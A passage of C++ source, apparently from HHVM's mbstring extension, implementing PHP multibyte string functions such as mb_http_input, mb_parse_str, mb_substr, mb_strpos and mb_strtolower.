*)mbfl_no_encoding2name (lang->mail_body_encoding)) != nullptr) { ret.set(s_mail_body_encoding, String(name, CopyString)); } } ret.set(s_illegal_chars, MBSTRG(illegalchars)); ret.set(s_encoding_translation, MBSTRG(encoding_translation) ? s_On : s_Off); if ((name = (char *)mbfl_no_language2name (MBSTRG(current_language))) != nullptr) { ret.set(s_language, String(name, CopyString)); } n = MBSTRG(current_detect_order_list_size); entry = MBSTRG(current_detect_order_list); if (n > 0) { Array row; while (n > 0) { if ((name = (char *)(*entry)->name) != nullptr) { row.append(String(name, CopyString)); } entry++; n--; } ret.set(s_detect_order, row); } switch (MBSTRG(current_filter_illegal_mode)) { case MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE: ret.set(s_substitute_character, s_none); break; case MBFL_OUTPUTFILTER_ILLEGAL_MODE_LONG: ret.set(s_substitute_character, s_long); break; case MBFL_OUTPUTFILTER_ILLEGAL_MODE_ENTITY: ret.set(s_substitute_character, s_entity); break; default: ret.set(s_substitute_character, MBSTRG(current_filter_illegal_substchar)); } ret.set(s_strict_detection, MBSTRG(strict_detection) ? s_On : s_Off); return ret; } else if (strcasecmp(type.data(), "internal_encoding") == 0) { if (MBSTRG(current_internal_encoding) != nullptr && (name = (char *)MBSTRG(current_internal_encoding)->name) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "http_input") == 0) { if (MBSTRG(http_input_identify) != nullptr && (name = (char *)MBSTRG(http_input_identify)->name) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "http_output") == 0) { if (MBSTRG(current_http_output_encoding) != nullptr && (name = (char *)MBSTRG(current_http_output_encoding)->name) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "mail_charset") == 0) { if (lang != nullptr && (name = (char *)mbfl_no_encoding2name (lang->mail_charset)) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "mail_header_encoding") == 0) { if (lang != nullptr && (name = (char *)mbfl_no_encoding2name (lang->mail_header_encoding)) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "mail_body_encoding") == 0) { if (lang != nullptr && (name = (char *)mbfl_no_encoding2name (lang->mail_body_encoding)) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "illegal_chars") == 0) { return MBSTRG(illegalchars); } else if (strcasecmp(type.data(), "encoding_translation") == 0) { return MBSTRG(encoding_translation) ? "On" : "Off"; } else if (strcasecmp(type.data(), "language") == 0) { if ((name = (char *)mbfl_no_language2name (MBSTRG(current_language))) != nullptr) { return String(name, CopyString); } } else if (strcasecmp(type.data(), "detect_order") == 0) { n = MBSTRG(current_detect_order_list_size); entry = MBSTRG(current_detect_order_list); if (n > 0) { Array ret; while (n > 0) { name = (char *)(*entry)->name; if (name) { ret.append(String(name, CopyString)); } entry++; n--; } } } else if (strcasecmp(type.data(), "substitute_character") == 0) { if (MBSTRG(current_filter_illegal_mode) == MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE) { return s_none; } else if (MBSTRG(current_filter_illegal_mode) == MBFL_OUTPUTFILTER_ILLEGAL_MODE_LONG) { return s_long; } else if (MBSTRG(current_filter_illegal_mode) == MBFL_OUTPUTFILTER_ILLEGAL_MODE_ENTITY) { return s_entity; } else { return MBSTRG(current_filter_illegal_substchar); } } else if (strcasecmp(type.data(), "strict_detection") == 0) { return MBSTRG(strict_detection) ? s_On : s_Off; } return false; } Variant HHVM_FUNCTION(mb_http_input, const Variant& opt_type) { const String type = convertArg(opt_type); int n; char *name; mbfl_encoding **entry; mbfl_encoding *result = nullptr; if (type.empty()) { result = MBSTRG(http_input_identify); } else { switch (*type.data()) { case 'G': case 'g': result = MBSTRG(http_input_identify_get); break; case 'P': case 'p': result = MBSTRG(http_input_identify_post); break; case 'C': case 'c': result = MBSTRG(http_input_identify_cookie); break; case 'S': case 's': result = MBSTRG(http_input_identify_string); break; case 'I': case 'i': { Array ret; entry = MBSTRG(http_input_list); n = MBSTRG(http_input_list_size); while (n > 0) { name = (char *)(*entry)->name; if (name) { ret.append(String(name, CopyString)); } entry++; n--; } return ret; } case 'L': case 'l': { entry = MBSTRG(http_input_list); n = MBSTRG(http_input_list_size); StringBuffer list; while (n > 0) { name = (char *)(*entry)->name; if (name) { if (list.empty()) { list.append(name); } else { list.append(','); list.append(name); } } entry++; n--; } if (list.empty()) { return false; } return list.detach(); } default: result = MBSTRG(http_input_identify); break; } } if (result != nullptr && (name = (char *)(result)->name) != nullptr) { return String(name, CopyString); } return false; } Variant HHVM_FUNCTION(mb_http_output, const Variant& opt_encoding) { const String encoding_name = convertArg(opt_encoding); if (encoding_name.empty()) { char *name = (char *)(MBSTRG(current_http_output_encoding)->name); if (name != nullptr) { return String(name, CopyString); } return false; } mbfl_encoding *encoding = (mbfl_encoding*) mbfl_name2encoding(encoding_name.data()); if (encoding == nullptr) { raise_warning("Unknown encoding \"%s\"", encoding_name.data()); return false; } MBSTRG(current_http_output_encoding) = encoding; return true; } Variant HHVM_FUNCTION(mb_internal_encoding, const Variant& opt_encoding) { const String encoding_name = convertArg(opt_encoding); if (encoding_name.empty()) { char *name = (char *)(MBSTRG(current_internal_encoding)->name); if (name != nullptr) { return String(name, CopyString); } return false; } mbfl_encoding *encoding = (mbfl_encoding*) mbfl_name2encoding(encoding_name.data()); if (encoding == nullptr) { raise_warning("Unknown encoding \"%s\"", encoding_name.data()); return false; } MBSTRG(current_internal_encoding) = encoding; return true; } Variant HHVM_FUNCTION(mb_language, const Variant& opt_language) { const String language = convertArg(opt_language); if (language.empty()) { return String(mbfl_no_language2name(MBSTRG(current_language)), CopyString); } mbfl_no_language no_language = mbfl_name2no_language(language.data()); if (no_language == mbfl_no_language_invalid) { raise_warning("Unknown language \"%s\"", language.data()); return false; } php_mb_nls_get_default_detect_order_list (no_language, &MBSTRG(default_detect_order_list), &MBSTRG(default_detect_order_list_size)); MBSTRG(current_language) = no_language; return true; } String HHVM_FUNCTION(mb_output_handler, const String& contents, int status) { mbfl_string string, result; int last_feed; mbfl_encoding *encoding = MBSTRG(current_http_output_encoding); /* start phase only */ if (status & k_PHP_OUTPUT_HANDLER_START) { /* delete the converter just in case. */ if (MBSTRG(outconv)) { MBSTRG(illegalchars) += mbfl_buffer_illegalchars(MBSTRG(outconv)); mbfl_buffer_converter_delete(MBSTRG(outconv)); MBSTRG(outconv) = nullptr; } if (encoding == nullptr) { return contents; } /* analyze mime type */ String mimetype = g_context->getMimeType(); if (!mimetype.empty()) { const char *charset = encoding->mime_name; if (charset) { g_context->setContentType(mimetype, charset); } /* activate the converter */ MBSTRG(outconv) = mbfl_buffer_converter_new2 (MBSTRG(current_internal_encoding), encoding, 0); } } /* just return if the converter is not activated. */ if (MBSTRG(outconv) == nullptr) { return contents; } /* flag */ last_feed = ((status & k_PHP_OUTPUT_HANDLER_END) != 0); /* mode */ mbfl_buffer_converter_illegal_mode (MBSTRG(outconv), MBSTRG(current_filter_illegal_mode)); mbfl_buffer_converter_illegal_substchar (MBSTRG(outconv), MBSTRG(current_filter_illegal_substchar)); /* feed the string */ mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)contents.data(); string.len = contents.size(); mbfl_buffer_converter_feed(MBSTRG(outconv), &string); if (last_feed) { mbfl_buffer_converter_flush(MBSTRG(outconv)); } /* get the converter output, and return it */ mbfl_buffer_converter_result(MBSTRG(outconv), &result); /* delete the converter if it is the last feed. */ if (last_feed) { MBSTRG(illegalchars) += mbfl_buffer_illegalchars(MBSTRG(outconv)); mbfl_buffer_converter_delete(MBSTRG(outconv)); MBSTRG(outconv) = nullptr; } return String(reinterpret_cast<char*>(result.val), result.len, AttachString); } typedef struct _php_mb_encoding_handler_info_t { int data_type; const char *separator; unsigned int force_register_globals: 1; unsigned int report_errors: 1; enum mbfl_no_language to_language; mbfl_encoding *to_encoding; enum mbfl_no_language from_language; int num_from_encodings; mbfl_encoding **from_encodings; } php_mb_encoding_handler_info_t; static mbfl_encoding* _php_mb_encoding_handler_ex (const php_mb_encoding_handler_info_t *info, Array& arg, char *res) { char *var, *val; const char *s1, *s2; char *strtok_buf = nullptr, **val_list = nullptr; int n, num, *len_list = nullptr; unsigned int val_len; mbfl_string string, resvar, resval; mbfl_encoding *from_encoding = nullptr; mbfl_encoding_detector *identd = nullptr; mbfl_buffer_converter *convd = nullptr; mbfl_string_init_set(&string, info->to_language, info->to_encoding->no_encoding); mbfl_string_init_set(&resvar, info->to_language, info->to_encoding->no_encoding); mbfl_string_init_set(&resval, info->to_language, info->to_encoding->no_encoding); if (!res || *res == '\0') { goto out; } /* count the variables(separators) contained in the "res". * separator may contain multiple separator chars. */ num = 1; for (s1=res; *s1 != '\0'; s1++) { for (s2=info->separator; *s2 != '\0'; s2++) { if (*s1 == *s2) { num++; } } } num *= 2; /* need space for variable name and value */ val_list = (char **)req::calloc_noptrs(num, sizeof(char *)); len_list = (int *)req::calloc_noptrs(num, sizeof(int)); /* split and decode the query */ n = 0; strtok_buf = nullptr; var = strtok_r(res, info->separator, &strtok_buf); while (var) { val = strchr(var, '='); if (val) { /* have a value */ len_list[n] = url_decode_ex(var, val-var); val_list[n] = var; n++; *val++ = '\0'; val_list[n] = val; len_list[n] = url_decode_ex(val, strlen(val)); } else { len_list[n] = url_decode_ex(var, strlen(var)); val_list[n] = var; n++; val_list[n] = const_cast<char*>(""); len_list[n] = 0; } n++; var = strtok_r(nullptr, info->separator, &strtok_buf); } num = n; /* make sure to process initilized vars only */ /* initialize converter */ if (info->num_from_encodings <= 0) { from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; } else if (info->num_from_encodings == 1) { from_encoding = info->from_encodings[0]; } else { /* auto detect */ from_encoding = nullptr; identd = mbfl_encoding_detector_new ((enum mbfl_no_encoding *)info->from_encodings, info->num_from_encodings, MBSTRG(strict_detection)); if (identd) { n = 0; while (n < num) { string.val = (unsigned char *)val_list[n]; string.len = len_list[n]; if (mbfl_encoding_detector_feed(identd, &string)) { break; } n++; } from_encoding = (mbfl_encoding*) mbfl_encoding_detector_judge2(identd); mbfl_encoding_detector_delete(identd); } if (from_encoding == nullptr) { if (info->report_errors) { raise_warning("Unable to detect encoding"); } from_encoding = (mbfl_encoding*) &mbfl_encoding_pass; } } convd = nullptr; if (from_encoding != (mbfl_encoding*) &mbfl_encoding_pass) { convd = mbfl_buffer_converter_new2(from_encoding, info->to_encoding, 0); if (convd != nullptr) { mbfl_buffer_converter_illegal_mode (convd, MBSTRG(current_filter_illegal_mode)); mbfl_buffer_converter_illegal_substchar (convd, MBSTRG(current_filter_illegal_substchar)); } else { if (info->report_errors) { raise_warning("Unable to create converter"); } goto out; } } /* convert encoding */ string.no_encoding = from_encoding->no_encoding; n = 0; while (n < num) { string.val = (unsigned char *)val_list[n]; string.len = len_list[n]; if (convd != nullptr && mbfl_buffer_converter_feed_result(convd, &string, &resvar) != nullptr) { var = (char *)resvar.val; } else { var = val_list[n]; } n++; string.val = (unsigned char *)val_list[n]; string.len = len_list[n]; if (convd != nullptr && mbfl_buffer_converter_feed_result(convd, &string, &resval) != nullptr) { val = (char *)resval.val; val_len = resval.len; } else { val = val_list[n]; val_len = len_list[n]; } n++; if (val_len > 0) { arg.set(String(var, CopyString), String(val, val_len, CopyString)); } if (convd != nullptr) { mbfl_string_clear(&resvar); mbfl_string_clear(&resval); } } out: if (convd != nullptr) { MBSTRG(illegalchars) += mbfl_buffer_illegalchars(convd); mbfl_buffer_converter_delete(convd); } if (val_list != nullptr) { req::free((void *)val_list); } if (len_list != nullptr) { req::free((void *)len_list); } return from_encoding; } bool HHVM_FUNCTION(mb_parse_str, const String& encoded_string, Array& result) { php_mb_encoding_handler_info_t info; info.data_type = PARSE_STRING; info.separator = "&"; info.force_register_globals = false; info.report_errors = 1; info.to_encoding = MBSTRG(current_internal_encoding); info.to_language = MBSTRG(current_language); info.from_encodings = MBSTRG(http_input_list); info.num_from_encodings = MBSTRG(http_input_list_size); info.from_language = MBSTRG(current_language); char *encstr = req::strndup(encoded_string.data(), encoded_string.size()); result = Array::Create(); mbfl_encoding *detected = _php_mb_encoding_handler_ex(&info, result, encstr); req::free(encstr); MBSTRG(http_input_identify) = detected; return detected != nullptr; } Variant HHVM_FUNCTION(mb_preferred_mime_name, const String& encoding) { mbfl_no_encoding no_encoding = mbfl_name2no_encoding(encoding.data()); if (no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } const char *preferred_name = mbfl_no2preferred_mime_name(no_encoding); if (preferred_name == nullptr || *preferred_name == '\0') { raise_warning("No MIME preferred name corresponding to \"%s\"", encoding.data()); return false; } return String(preferred_name, CopyString); } static Variant php_mb_substr(const String& str, int from, const Variant& vlen, const String& encoding, bool substr) { mbfl_string string; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); if (!encoding.empty()) { string.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } int len = vlen.toInt64(); int size = 0; if (substr) { int size_tmp = -1; if (vlen.isNull() || len == 0x7FFFFFFF) { size_tmp = mbfl_strlen(&string); len = size_tmp; } if (from < 0 || len < 0) { size = size_tmp < 0 ? mbfl_strlen(&string) : size_tmp; } } else { size = str.size(); if (vlen.isNull() || len == 0x7FFFFFFF) { len = size; } } /* if "from" position is negative, count start position from the end * of the string */ if (from < 0) { from = size + from; if (from < 0) { from = 0; } } /* if "length" position is negative, set it to the length * needed to stop that many chars from the end of the string */ if (len < 0) { len = (size - from) + len; if (len < 0) { len = 0; } } if (!substr && from > size) { return false; } mbfl_string result; mbfl_string *ret; if (substr) { ret = mbfl_substr(&string, &result, from, len); } else { ret = mbfl_strcut(&string, &result, from, len); } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_substr, const String& str, int start, const Variant& length /*= uninit_null() */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); return php_mb_substr(str, start, length, encoding, true); } Variant HHVM_FUNCTION(mb_strcut, const String& str, int start, const Variant& length /*= uninit_null() */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); return php_mb_substr(str, start, length, encoding, false); } Variant HHVM_FUNCTION(mb_strimwidth, const String& str, int start, int width, const Variant& opt_trimmarker, const Variant& opt_encoding) { const String trimmarker = convertArg(opt_trimmarker); const String encoding = convertArg(opt_encoding); mbfl_string string, result, marker, *ret; mbfl_string_init(&string); mbfl_string_init(&marker); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; marker.no_language = MBSTRG(current_language); marker.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; marker.val = nullptr; marker.len = 0; if (!encoding.empty()) { string.no_encoding = marker.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } string.val = (unsigned char *)str.data(); string.len = str.size(); if (start < 0 || start > str.size()) { raise_warning("Start position is out of reange"); return false; } if (width < 0) { raise_warning("Width is negative value"); return false; } marker.val = (unsigned char *)trimmarker.data(); marker.len = trimmarker.size(); ret = mbfl_strimwidth(&string, &marker, &result, start, width); if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_stripos, const String& haystack, const String& needle, int offset /* = 0 */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } if (needle.empty()) { raise_warning("Empty delimiter"); return false; } int n = php_mb_stripos(0, haystack.data(), haystack.size(), needle.data(), needle.size(), offset, from_encoding); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_strripos, const String& haystack, const String& needle, int offset /* = 0 */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } int n = php_mb_stripos(1, haystack.data(), haystack.size(), needle.data(), needle.size(), offset, from_encoding); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_stristr, const String& haystack, const String& needle, bool part /* = false */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!mbs_needle.len) { raise_warning("Empty delimiter."); return false; } const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(from_encoding); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", from_encoding); return false; } int n = php_mb_stripos(0, (const char*)mbs_haystack.val, mbs_haystack.len, (const char *)mbs_needle.val, mbs_needle.len, 0, from_encoding); if (n < 0) { return false; } int mblen = mbfl_strlen(&mbs_haystack); mbfl_string result, *ret = nullptr; if (part) { ret = mbfl_substr(&mbs_haystack, &result, 0, n); } else { int len = (mblen - n); ret = mbfl_substr(&mbs_haystack, &result, n, len); } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strlen, const String& str, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string string; mbfl_string_init(&string); string.val = (unsigned char *)str.data(); string.len = str.size(); string.no_language = MBSTRG(current_language); if (encoding.empty()) { string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; } else { string.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } int n = mbfl_strlen(&string); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_strpos, const String& haystack, const String& needle, int offset /* = 0 */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!encoding.empty()) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(encoding.data()); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } if (offset < 0 || offset > mbfl_strlen(&mbs_haystack)) { raise_warning("Offset not contained in string."); return false; } if (mbs_needle.len == 0) { raise_warning("Empty delimiter."); return false; } int reverse = 0; int n = mbfl_strpos(&mbs_haystack, &mbs_needle, offset, reverse); if (n >= 0) { return n; } switch (-n) { case 1: break; case 2: raise_warning("Needle has not positive length."); break; case 4: raise_warning("Unknown encoding or conversion error."); break; case 8: raise_warning("Argument is empty."); break; default: raise_warning("Unknown error in mb_strpos."); break; } return false; } Variant HHVM_FUNCTION(mb_strrpos, const String& haystack, const String& needle, const Variant& offset /* = 0LL */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); // This hack is so that if the caller puts the encoding in the offset field we // attempt to detect it and use that as the encoding. Ick. const char *enc_name = encoding.data(); long noffset = 0; String soffset = offset.toString(); if (offset.isString()) { enc_name = soffset.data(); int str_flg = 1; if (enc_name != nullptr) { switch (*enc_name) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case ' ': case '-': case '.': break; default : str_flg = 0; break; } } if (str_flg) { noffset = offset.toInt32(); enc_name = encoding.data(); } } else { noffset = offset.toInt32(); } if (enc_name != nullptr && *enc_name) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(enc_name); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", enc_name); return false; } } if (mbs_haystack.len <= 0) { return false; } if (mbs_needle.len <= 0) { return false; } if ((noffset > 0 && noffset > mbfl_strlen(&mbs_haystack)) || (noffset < 0 && -noffset > mbfl_strlen(&mbs_haystack))) { raise_notice("Offset is greater than the length of haystack string"); return false; } int n = mbfl_strpos(&mbs_haystack, &mbs_needle, noffset, 1); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_strrchr, const String& haystack, const String& needle, bool part /* = false */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!encoding.empty()) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(encoding.data()); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } if (mbs_haystack.len <= 0) { return false; } if (mbs_needle.len <= 0) { return false; } mbfl_string result, *ret = nullptr; int n = mbfl_strpos(&mbs_haystack, &mbs_needle, 0, 1); if (n >= 0) { int mblen = mbfl_strlen(&mbs_haystack); if (part) { ret = mbfl_substr(&mbs_haystack, &result, 0, n); } else { int len = (mblen - n); ret = mbfl_substr(&mbs_haystack, &result, n, len); } } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strrichr, const String& haystack, const String& needle, bool part /* = false */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(from_encoding); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", from_encoding); return false; } int n = php_mb_stripos(1, (const char*)mbs_haystack.val, mbs_haystack.len, (const char*)mbs_needle.val, mbs_needle.len, 0, from_encoding); if (n < 0) { return false; } mbfl_string result, *ret = nullptr; int mblen = mbfl_strlen(&mbs_haystack); if (part) { ret = mbfl_substr(&mbs_haystack, &result, 0, n); } else { int len = (mblen - n); ret = mbfl_substr(&mbs_haystack, &result, n, len); } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strstr, const String& haystack, const String& needle, bool part /* = false */, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!encoding.empty()) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(encoding.data()); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } if (mbs_needle.len <= 0) { raise_warning("Empty delimiter."); return false; } mbfl_string result, *ret = nullptr; int n = mbfl_strpos(&mbs_haystack, &mbs_needle, 0, 0); if (n >= 0) { int mblen = mbfl_strlen(&mbs_haystack); if (part) { ret = mbfl_substr(&mbs_haystack, &result, 0, n); } else { int len = (mblen - n); ret = mbfl_substr(&mbs_haystack, &result, n, len); } } if (ret != nullptr) { return String(reinterpret_cast<char*>(ret->val), ret->len, AttachString); } return false; } const StaticString s_utf_8("utf-8"); /** * Fast check for the most common form of the UTF-8 encoding identifier. */ ALWAYS_INLINE static bool isUtf8(const Variant& encoding) { return encoding.getStringDataOrNull() == s_utf_8.get(); } /** * Given a byte sequence, return * 0 if it contains bytes >= 128 (thus non-ASCII), else * -1 if it contains any upper-case character ('A'-'Z'), else * 1 (and thus is a lower-case ASCII string). */ ALWAYS_INLINE static int isUtf8AsciiLower(folly::StringPiece s) { const auto bytelen = s.size(); bool caseOK = true; for (uint32_t i = 0; i < bytelen; ++i) { uint8_t byte = s[i]; if (byte >= 128) { return 0; } else if (byte <= 'Z' && byte >= 'A') { caseOK = false; } } return caseOK ? 1 : -1; } /** * Return a string containing the lower-case of a given ASCII string. */ ALWAYS_INLINE static StringData* asciiToLower(const StringData* s) { const auto size = s->size(); auto ret = StringData::Make(s, CopyString); auto output = ret->mutableData(); for (int i = 0; i < size; ++i) { auto& c = output[i]; if (c <= 'Z' && c >= 'A') { c |= 0x20; } } ret->invalidateHash(); // We probably modified it. return ret; } /* Like isUtf8AsciiLower, but with upper/lower swapped. */ ALWAYS_INLINE static int isUtf8AsciiUpper(folly::StringPiece s) { const auto bytelen = s.size(); bool caseOK = true; for (uint32_t i = 0; i < bytelen; ++i) { uint8_t byte = s[i]; if (byte >= 128) { return 0; } else if (byte >= 'a' && byte <= 'z') { caseOK = false; } } return caseOK ? 1 : -1; } /* Like asciiToLower, but with upper/lower swapped. */ ALWAYS_INLINE static StringData* asciiToUpper(const StringData* s) { const auto size = s->size(); auto ret = StringData::Make(s, CopyString); auto output = ret->mutableData(); for (int i = 0; i < size; ++i) { auto& c = output[i]; if (c >= 'a' && c <= 'z') { c -= (char)0x20; } } ret->invalidateHash(); // We probably modified it. return ret; } Variant HHVM_FUNCTION(mb_strtolower, const String& str, const Variant& opt_encoding) { /* Fast-case for empty static string without dereferencing any pointers. */ if (str.get() == staticEmptyString()) return empty_string_variant(); if (LIKELY(isUtf8(opt_encoding))) { /* Fast-case for ASCII. */ if (auto sd = str.get()) { auto sl = sd->slice(); auto r = isUtf8AsciiLower(sl); if (r > 0) { return str; } else if (r < 0) { return String::attach(asciiToLower(sd)); } } } const String encoding = convertArg(opt_encoding); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } unsigned int ret_len; char *newstr = php_unicode_convert_case(PHP_UNICODE_CASE_LOWER, str.data(), str.size(), &ret_len, from_encoding); if (newstr) { return String(newstr, ret_len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strtoupper, const String& str, const Variant& opt_encoding) { /* Fast-case for empty static string without dereferencing any pointers. */ if (str.get() == staticEmptyString()) return empty_string_variant(); if (LIKELY(isUtf8(opt_encoding))) { /* Fast-case for ASCII. */ if (auto sd = str.get()) { auto sl = sd->slice(); auto r = isUtf8AsciiUpper(sl); if (r > 0) { return str; } else if (r < 0) { return String::attach(asciiToUpper(sd)); } } } const String encoding = convertArg(opt_encoding); const char *from_encoding; if (encoding.empty()) { from_encoding = MBSTRG(current_internal_encoding)->mime_name; } else { from_encoding = encoding.data(); } unsigned int ret_len; char *newstr = php_unicode_convert_case(PHP_UNICODE_CASE_UPPER, str.data(), str.size(), &ret_len, from_encoding); if (newstr) { return String(newstr, ret_len, AttachString); } return false; } Variant HHVM_FUNCTION(mb_strwidth, const String& str, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string string; mbfl_string_init(&string); string.no_language = MBSTRG(current_language); string.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; string.val = (unsigned char *)str.data(); string.len = str.size(); if 